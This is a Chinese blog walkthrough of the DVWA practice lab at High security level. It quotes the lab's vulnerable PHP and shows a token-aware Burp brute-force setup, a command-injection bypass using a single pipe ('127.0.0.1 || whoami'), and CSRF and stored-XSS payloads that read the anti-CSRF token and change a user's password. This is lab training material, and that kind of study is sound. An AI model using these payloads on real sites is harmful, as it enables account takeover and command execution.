DVWA-High通关详解

最新推荐文章于 2025-03-23 15:28:28 发布
最新推荐文章于 2025-03-23 15:28:28 发布
阅读量1.1k 收藏 4
点赞数
分类专栏： 靶场速刷
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/hxhxhxhxx/article/details/108804714
版权

DVWA-High通关详解

Brute Force（暴力破解）

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入了session，同时验证了token，爆破就会受到了限制

每次服务器返回的登陆页面中都会包含一个随机的user_token的值， 用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。在这里插入图片描述
那么我们，如何burp进行爆破呢？
每次服务器返回的登陆页面中都会包含一个随机的user_token的值， 用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。
在这里插入图片描述
发现这里有一个value，被隐藏了，每次刷新页面他就会改变，
那么我们是不是可以尝试将他获取，然后添加到我们的爆破中呢？
下面我们设置token，
在这里插入图片描述
在这个额外的工具中
在这里插入图片描述
我们选中我们需要的值，他就会自动帮我们正则匹配，
在这里插入图片描述

我们需要选择草叉模式，（其他模式没有这个功能）
在这里插入图片描述
在最后一栏写入最初的value值，
在这里插入图片描述
在option选项卡中将攻击线程thread设置为1，因为Recursive_Grep模式不支持多线程攻击。

在这里插入图片描述
线程设置为1（显然只有获取上一个请求返回的taken值才能，做下一次请求 暂时无法并发）
在这里插入图片描述
将他设置为总是开启，第一个参数我们设置成正常字典

在这里插入图片描述
选中两个，
在这里插入图片描述
爆破成功
在这里插入图片描述

pitchfork模式

添加了两个参数的话 ，要求添加两个payload
pl1：1，2
pl2：3，4
那么第一爆破为 1，3
而二次爆破为2，4
一组一组进行爆破

Grep-Extract使用

Burp工具提供了一个名叫recursive grep的payload，能够让你从攻击的前一个请求的返回包中提取出每个payload，我们可以利用这个功能从html中提取出csrf_token,重放到下一次请求中，以便进行自动化的fuzz攻击。

mysqli_real_escape_string()

函数转义在 SQL 语句中使用的字符串中的特殊字符。
那么我们大概可以选择其他路线了，sql注入不太行得通
在这里插入图片描述

stripslashes

删除反斜杠
提示：该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
在这里插入图片描述

Command injection（命令执行）


Command Injection Source
vulnerabilities/exec/source/high.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

很明显发现，他过滤了很多
在这里插入图片描述
在这里插入图片描述
但是我们仍然可以？？
127.0.0.1 || whoami
中间需要增加空格，

而且，它本身过滤了| 带空格，那么我们使用单个|也能绕过
在这里插入图片描述
黑名单的话，很容易过滤不全，只要加个空格，基本都可以绕过，

trim

trim() 函数移除字符串两侧的空白字符或其他预定义字符。 如果后面参数被省略，则移除以下所有字符：

  • “\0” - NULL

    “\t” - 制表符

    “\n” - 换行

    “\x0B” - 垂直制表符

    “\r” - 回车

  • ” “ - 空格

Cross Site Request Forgery（CSRF跨站脚本伪造）

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这次的csrf也加入了token验证，而且输入一次就会更改
在这里插入图片描述
那么我们如果想要csrf的话，就需要获取到这个token，我们就可以自己写一个页面(转)

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script type="text/javascript">
        //获取用户的token，并设置为表单中的token，然后提交修改密码的表单
        function attack()
        {
            document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body onload="attack()">
    <iframe src="http://dvwa.com/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页-->
    </iframe>
    <form method="GET" id="transfer"  action="http://dvwa.com/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="admin">
        <input type="hidden" name="password_conf" value="admin">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>
</html>

但是，受到浏览器同源策略的限制！
可以查看这个师傅的有关同源策略
https://blog.youkuaiyun.com/qq_36119192/article/details/82931250
那么我们只能换一种思路，是不是可以从xss入手
从域本身入手
我们将如下代码通过存储型XSS插入到数据库中，这语句会弹出用户的token

<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

iframe是一个标签
在这里插入图片描述
或者直接通过xss直接进行自动化

iframe src="../csrf" "var a=new XMLHttpRequest();var token=top.frames[0].document.getElementsByName('user_token')[0].value;a.open('get','../csrf/index.php?password_new=1234&password_conf=1234&Change=Change&user_token='+token,false);a.send(null)">

File Inclusion（文件包含）

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

其余详解，见文件包含，
这里只能是文件必须是有file*或者，include.php的才能读取
在这里插入图片描述

fnmatch — 用模式匹配文件名

fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) : bool

fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。 

 pattern

    shell 统配符。
string

    要检查的字符串。 此函数对于文件名尤其有用，但也可以用于普通的字符串。

    普通用户可能习惯于 shell 模式或者至少其中最简单的形式 '?' 和 '*' 通配符，因此使用 fnmatch() 来代替 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便。

fileupload 文件上传

Insecure CAPTCHA（不安全的验证码）

SQL Injection（SQL注入）

SQL Injection (Blind)（SQL注入盲注）

基于布尔的盲注

基于时间的盲注

Reflected Cross Site Scripting(XSS)（反射型跨站脚本）

Stored Cross Site Scripting (XSS)（存储型跨站脚本）

DVWA——high等级Brute Force通关
weixin_51220765的博客
12-23 415
DVWA——high等级Brute Force通关 登录dvwa，选择high模式进行练习 来到Brute Force，首先输入username,password进行测试，查看输出情况 打开BP进行拦包，把拦到的包发送到Intruder模块，设置两个爆破参数（1、密码参数 2、token值参数）选择第三种爆破模式Pitchfork 这时我们清除默认被标记的，然后给我想要获取的信息添加标记 选择Pichfork(草叉模式)因为它是多参数同时爆破，但用的是不同的字典 在Payload Sets里的
DVWA 靶场CSRF通关
m0_65761158的博客
07-10 785
添加了一个generateSessionToken()函数，用户每次访问修改密码时服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。服务器收到修改密码的请求后，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码。修改密码abc123之后就会在地址栏出现相应的链接可以发现是get型所以提交的参数会所以显示，并提示密码修改成功。可以看到密码已修改成功。
DVWA中High难度通关1-3
weixin_50998641的博客
01-31 329
一.BruteForce <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = strip
dvwa靶场high级别口令爆破
最新发布
nlxxdxb123111的博客
03-23 551
dvwa靶场high级别口令爆破，所用工具：Win10，Phpstudy，Dvwa，BurpSuite
Dvwa 高等难度
h0ld1rs的博客
08-02 433
文章目录Brute ForceCommand InjectioncsrfFile InclusionFile UploadSQL InjectionXSS (Reflected)XSS (Stored) Brute Force 这次多了个user_token 使用上两种方法已经行不通了 做法的话，就参考这位博主的文章 high的burte Command Injection 但是，仔细看，发现|后面竟然有空白，说明我们直接|也可以 csrf 又多了token值 可以看到，High级别的代码加入了
DVWA中上传漏洞high级别的代码分析（超详细）
qq_36896220的博客
07-04 3157
首先贴出代码： <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FIL...
DVWA high暴力破解
Snowflake1997的博客
03-08 813
将DVWA的安全等级设置为高(high) 对登录数据进行抓包 可以看到此时多出了一个user_token：dcd5143f64e5f9278e4fac5db9488540 将数据包发送到Intruder进行设置 攻击类型选择Pitchfork，这个模式可以同时爆破几个参数 将password和token作为变量 设置Payload和Options 先设置payload 1，添加字典，用于爆破password 然后设置payload ...
DVWA靶机通关攻略第四关——文件包含
小飞飞的博客
03-11 929
DVWA靶机的文件包含详细教学
DVWA靶机通关攻略第三关——CSRF攻击
小飞飞的博客
03-09 1231
DVWA靶机通关攻略请求伪造详细教学
DVWA通关--文件上传(File Upload)
箭雨镜屋
01-03 6598
LOW 通关路径 <?php assert($_POST['dvwa']);?> 源码分析 MEDIUM 通关路径 源码分析 HIGH 通关路径 sh.php和sh.jpeg都是返回这个 源码分析 IMPOSSIBLE 源码分析
DVWA靶场通关
2301_80185313的博客
08-14 1435
dvvwa靶场通关详解
DVWA之命令注入
weixin_44965306的博客
07-25 326
记录自己入门的做题过程。 low等级 尝试输入127.0.0.1 由回显可知可知是调用了ping命令 尝试进行注入 命令连接符： command1&&command2 命令1执行成功就执行命令2 command1&command2 先执行命令2再执行命令1 command1||command2 命令1执行失败的情况下执行命令2 com...
DVWA----暴力破解(带token) ---burp suite工具
Z_Grant的博客
08-31 1452
一，DVWA的暴力破解模块的高级有token认证 【php源码】 <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token
DVWA-Brute Force(暴力破解)
yangbz123的博客
05-21 782
DVWA-Brute Force(暴力破解) Brute Force Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一，如2014年轰动全国的12306“撞库”事件，实质就是暴力破解攻击。 LOW级别 源代码如下： <?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get pa
DVWA 之暴力破解攻击（Brute Force）
热门推荐
弱弱的小雨鸟
01-14 1万+
暴力破解（Brute Force）的意思是攻击者借助计算机的高速计算不停枚举所有可能的用户名和密码，直到尝试出正确的组合，成功登录系统。理论上，只要字典足够大，破解总是会成功的。阻止暴力破解的最有效方式是设置复杂的密码（英文字母大小写、数字、符号混合）。而如果你的字典是从某网站泄露出来的，你使用它试图登陆其他网站，就便是撞库。撞库攻击的成功率高于暴力破解，因为你在A网站的用户名、密码通常和B网站的
DVWA暴力破解（Brute_Force High级别）
liweibin812的博客
01-11 1万+
将DVWA调至high级别，发现用之前的暴力破解就不好使了，因为其使用了随机token机制来防止CSRF，从而在一定程度上防止了重放攻击，增加了爆破难度。但是依然可以使用burpsuite来爆破。 1. 将登录请求进行拦截，发现增加了user_token参数，所以爆破要选择两个参数来进行，先将请求发送到intruder。 2. 设置两个参数 password和user_token为变量，攻...
DVWA之蛮力（Brute Force）
qq_39682037的博客
03-27 2260
蛮力（Brute Force） 前期准备 这里小编使用的是firefox，打开浏览器，我们在设置里面点开选项，单击网络设置进行配置，如下图
【文件上传与包含漏洞综合利用】DVWA-文件上传-难度：High
Mr_Fmnwon的博客
04-24 1721
一方面，（任意）文件上传漏洞指的是上传非预期的文件格式（如php文件）到目标服务器，而通过其他方式（直连、包含等）进行执行来进一步利用。另一方面，利用文件包含漏洞，能够把静态文件中的php代码通过回显转发的方式进行包含执行。过程中遇到很多问题：1.high的包含漏洞保护措施没有关注 2.一些jpeg/png图片被解析时，自身的一些字符会被错误识别为php代码，而往往会导致语法错误，通过copy到最后的。可以推测，检查是否为JPEG/PNG图，是依靠文件的后缀、文件头字段信息来进行双重检测的。
DVWA-Command Injection(High)
七月_的博客
10-22 416
文章目录Command Injection(High)代码分析漏洞利用 Command Injection(High) 代码分析 <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = a...
DVWA-1.0.7源代码及其教程快速入门指南
针对DVWA-1.0.7，用户可以遵循随源代码一起提供的教程，该教程会详细指导用户如何进行安装、配置、攻击和防御操作。教程的每个部分都会有一个具体的目标，例如“使用DVWA实现SQL注入”或“配置DVWA以提高XSS保护”，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值